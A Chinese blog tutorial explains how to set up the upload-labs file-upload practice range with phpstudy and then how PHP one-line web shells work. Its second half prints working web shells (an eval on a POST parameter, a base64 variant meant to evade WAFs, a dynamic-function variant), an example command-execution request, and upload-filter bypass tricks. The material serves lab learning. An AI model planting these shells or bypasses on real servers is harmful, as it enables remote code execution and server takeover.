Upload-labs 靶场搭建 及一句话木马的原理与运用

1、phpstudy及upload-labs下载

(1)下载phpstudy小皮面板

首先需要软件phpstudy 下载地址 phpStudy下载-phpStudy最新版下载V8.1.1.3 -阔思亮

(2)然后到github网址下载源码压缩包

网址 https://github.com/c0ny1/upload-labs

下载压缩包

下载好后解压缩到phpstudy的www目录下(注意,如果解压出现警告添加信任即可)

这里记得改一下解压缩后的文件夹名字(主要是为了方便后面搭建网址方便一些,没有那么麻烦),就设置为upload-labs即可,或者直接upload。以防万一后面靶场名字显示出问题

2、环境搭建

然后打开phpstudy

开启apachmysql服务器

然后进入网站,检查localhost根目录是不是在phpstudywww目录下

检查过后点击创建网站

这里一定要选择www 目录下的upload-labs ,然后再设置域名为127.0.0.1 端口随便设置一个没被占用的即可,这里我设置了8088

设置完后点击确定即可。然后点击管理,打开网址

就可以看到域名为127.0.0.1,端口为8088的upload-labs靶场搭建成功

3、靶场搭建问题

(1)服务器未开启

如果在打开网站时,出现下面这种情况的提示

那就说明网站所需要的服务器(如apachemysql没开启已关机,需要进入 首页手动启用服务器

关闭状态:

开启就可以打开了:

(2)根目录问题

这里说一下为什么创建网站的目录要到www目录下的upload-labs文件夹

因为我们下载的upload-labs这些文件是为靶场准备的,如果不选择到upload-labs目录,它相当于没有材料就建不了房子的,就会只创建站点(也就相当于建房的地基

不信做个示范,注意这里的根目录霍,只选择到www目录就直接创建127.0.0.1,看看会创建出什么样的页面

确认后打开网站

看吧,没有建房材料就只有地基(毕竟我们选择的目录只到www,想要构建upload-labs靶场的"房子"它是没有办法在根目录上找到uploads-labs,因为127.0.0.1的域名创建到了upload-labs文件的上一级,它找不到啊)

所以根目录是www目录下还要再加upload-labs

这样它在upload-labs目录下才能找到upload-labs文件

upload-labs靶场才能搭建成功

(3)端口占用

至于端口被占用的话,是这种情况

8080的端口,打开网站后

端口就可以了

换8088的端口打开网站后靶场正常

4、文件上传漏洞中一句话木马的原理及运用

(1)木马的概念

木马 :能够获取对方控制权限程序

分类 :(远控)exeweb木马phpjspasp

一般文件上传中利用的一句话就是php代码的木马,而我前两天学的msf制作windows病毒实战渗透制作的就是exe

kali利用msf渗透Windows电脑测试-CSDN博客

(2)漏洞利用原理

<1>文件上传缺陷

攻击者利用 未严格校验上传文件的后端逻辑(如未检查文件类型内容后缀等),将包含恶意代码的文件(如PHPASPJSP等)上传至服务器

<2>绕过防护机制

通过以下方式绕过常见防护:

(1)伪造文件类型

修改HTTP头中的Content-Type(如image/png伪装成合法文件

(2)修改文件后缀

如将.php改为.php5、.phtml或结合服务端解析漏洞(如Apachetest.php.jpg).

(3)文件内容混淆

在图片文件中插入恶意代码(图片马),利用服务器对文件内容的信任

<3>木马执行

(3)一句话木马的工作原理

这里我尝试自己搭了个靶场,但不太好用,就不用了(upload-labs留着后面系统而全面的学)

<1>典例
复制代码
<?php @eval($_POST['cmd']); ?>

eval函数

将字符串作为PHP代码执行

$*POST['cmd']:

接收客户端通过POST请求****发送名为cmd的参数值

@

抑制错误提示,增强隐蔽性 (这个不太理解)

<2>木马执行流程
(1)上传恶意代码

攻击者利用上传包含上述代码的恶意文件(如shell.php)到服务器

(2)构造请求,发送数据

通过工具(如中国菜刀中国蚁剑Cknife)或手动构造HTTP请求,向shell.php发送POST数据

复制代码
POST /uploads/shell.php HTTP/1.1
     ...
     cmd=system("whoami");
(3)服务端执行

eval("system('whoami');")返回命令执行结果

<3>高级变变种
(1)加密绕过

对代码进行base64AES加密,规避WAF检测

复制代码
<?php @eval(base64_decode($_POST['cmd'])); ?>
(2)动态函数调用
复制代码
<?php $_GET['a']($_GET['b']); ?>

通过URL参数动态执行代码:/shell.php?a=system&b=id

相关推荐
智想天开2 小时前
8.集成模板引擎
php
Json20113158 小时前
Swoole 的 Hyperf 框架和 Go 的 Gin 框架高并发原理以及技术实现对比分析
网络·php·gin·swoole
Python大数据分析@9 小时前
python 常用的6个爬虫第三方库
爬虫·python·php
我是唐青枫9 小时前
php8属性注解使用教程
php
斯~内克10 小时前
鸿蒙网络通信全解析:从网络状态订阅到高效请求实践
网络·php·harmonyos
最美不过下雨天啊12 小时前
记一个很简单的错误
php·phpstudy·pdo扩展
北极象13 小时前
用C实现一个最简单的正则表达式引擎
c语言·正则表达式·php
橘猫云计算机设计14 小时前
基于JavaWeb的二手图书交易系统(源码+lw+部署文档+讲解),源码可白嫖!
java·开发语言·前端·毕业设计·php
sszdlbw14 小时前
文件包含漏洞的小点总结
服务器·安全·web安全·php
liuxizhen200916 小时前
thinkcmf搭建
php